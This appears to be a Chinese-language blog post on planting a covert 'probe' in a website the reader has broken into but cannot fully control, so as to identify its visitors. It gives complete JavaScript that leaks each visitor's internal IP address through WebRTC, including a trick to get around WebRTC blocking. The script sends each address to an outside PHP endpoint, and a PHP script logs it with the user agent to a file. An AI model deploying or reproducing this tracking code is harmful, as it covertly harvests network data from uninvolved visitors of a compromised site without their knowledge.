有时候我们进入某个站点了,但是我们要知道有谁会访问这个站点的时候,我们可以拿网站的日志,但是有时候我们提权不了,拿不到服务器权限,我们就可以挂一个探针了。

本次推荐的探针有2个部分,一个是js部分,一个是PHP部分。js是截取信息,PHP是整合信息并写入。单纯的js代码部分做不到获取访问者的内网地址。
如果访客没有内网地址,貌似是不会记录的
js代码

function getIPs(callback){
    var ip_dups = {};
    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;
    //bypass naive webrtc blocking using an iframe
    if(!RTCPeerConnection){
        //NOTE: you need to have an iframe in the page right above the script tag
        //
        //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
        //<script>...getIPs called in here...
        //
        var win = iframe.contentWindow;
        RTCPeerConnection = win.RTCPeerConnection
            || win.mozRTCPeerConnection
            || win.webkitRTCPeerConnection;
        useWebKit = !!win.webkitRTCPeerConnection;
    }
    //minimal requirements for data connection
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
    var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    function handleCandidate(candidate){
        //match just the IP address
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
        var ip_addr = ip_regex.exec(candidate)[1];
        //remove duplicates
        if(ip_dups[ip_addr] === undefined)
            callback(ip_addr);
        ip_dups[ip_addr] = true;
    }
    //listen for candidate events
    pc.onicecandidate = function(ice){
        //skip non-candidate events
        if(ice.candidate)
            handleCandidate(ice.candidate.candidate);
    };
    //create a bogus data channel
    pc.createDataChannel("");
    //create an offer sdp
    pc.createOffer(function(result){
        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});
    }, function(){});
    //wait for a while to let everything done
    setTimeout(function(){
        //read candidate info from local description
        var lines = pc.localDescription.sdp.split('\n');
        lines.forEach(function(line){
            if(line.indexOf('a=candidate:') === 0)
                handleCandidate(line);
        });
    }, 1000);
}
//Test: Print the IP addresses into the console
// var browser = [];
// var system = [];
// var info = "";

//  for (value in client.browser){
//      if(client.browser[value] != 0 && client.browser[value] != undefined){
//          browser.push(value)
//      }

// }

// for (sys in client.system){
//      if(client.system[sys] != 0 && client.system[sys] != undefined){
//          system.push(sys)
//      }
//  }
// browser = system[0] + " " + browser[0] + ':' +client.browser[browser[1]];
getIPs(function(ip){new Image().src="http://www.baidu.com/browser.php?ip="+escape(ip)});

php代码

<?php
$iterateIP = $_GET['ip'];
function getIP()
{
        if (@$_SERVER["HTTP_X_FORWARDED_FOR"]) {
                $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (@$_SERVER["HTTP_CLIENT_IP"]) {
                $ip = $_SERVER["HTTP_CLIENT_IP"];
        } else if (@$_SERVER["REMOTE_ADDR"]) {
                $ip = $_SERVER["REMOTE_ADDR"];
        } else if (@getenv("HTTP_X_FORWARDED_FOR")) {
                $ip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (@getenv("HTTP_CLIENT_IP")) {
                $ip = getenv("HTTP_CLIENT_IP");
        } else if (@getenv("REMOTE_ADDR")) {
                $ip = getenv("REMOTE_ADDR");
        } else { 

                $ip = "Unknown";
        }
        return $ip."  ".$_SERVER['HTTP_USER_AGENT'];
}

$browser_info = date("Y-m-d H:i:s")."  ".$iterateIP."  ".getIP()."\r\n";
$myfile       = fopen("browser.txt", "a+");
fwrite($myfile, $browser_info);
?>

发表评论

电子邮件地址不会被公开。 必填项已用*标注